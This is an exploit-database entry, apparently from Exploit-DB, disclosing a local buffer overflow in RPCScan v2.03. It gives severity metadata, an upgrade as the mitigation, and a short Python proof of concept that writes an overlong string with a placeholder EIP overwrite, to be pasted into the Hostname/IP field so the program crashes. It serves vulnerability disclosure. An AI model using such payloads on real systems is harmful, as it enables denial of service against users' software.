RPCScan v2.03 Hostname/IP Field Local BoF PoC

vendor:

RPCScan

by:

Irving Aguilar

7,8

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: RPCScan

Affected Version From: 2.03

Affected Version To: 2.03

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Enterprise SP1 x64

2016

RPCScan v2.03 Hostname/IP Field Local BoF PoC

Irving Aguilar discovered a buffer overflow vulnerability in RPCScan v2.03. The vulnerability is triggered when a maliciously crafted string is copied to the clipboard and pasted into the Hostname/IP field of the application. This causes a denial of service condition.

Mitigation:

Upgrade to the latest version of RPCScan.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Exploit Title     	: RPCScan v2.03 Hostname/IP Field Local BoF PoC
# Discovery by      	: Irving Aguilar
# Email			: im.aguilar@protonmail.ch
# Discovery Date    	: 05.05.2016
# Software Link     	: http://www.mcafee.com/us/downloads/free-tools/rpcscan.aspx#
# Tested Version    	: 2.03
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS		: Windows 7 Enterprise SP1 x64 en
#
#
# Steps to Produce the Crash: 
# 1.- Run python code : python RPCScan-BoF.py
# 2.- Open RPCScan-BoF.txt and copy content to clipboard
# 3.- Open RPCScan2.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed
 
buffer = "\x41" * 388
eip = "\x42" * 4
 
f = open ("RPCScan-BoF.txt", "w")
f.write(buffer + eip)
f.close()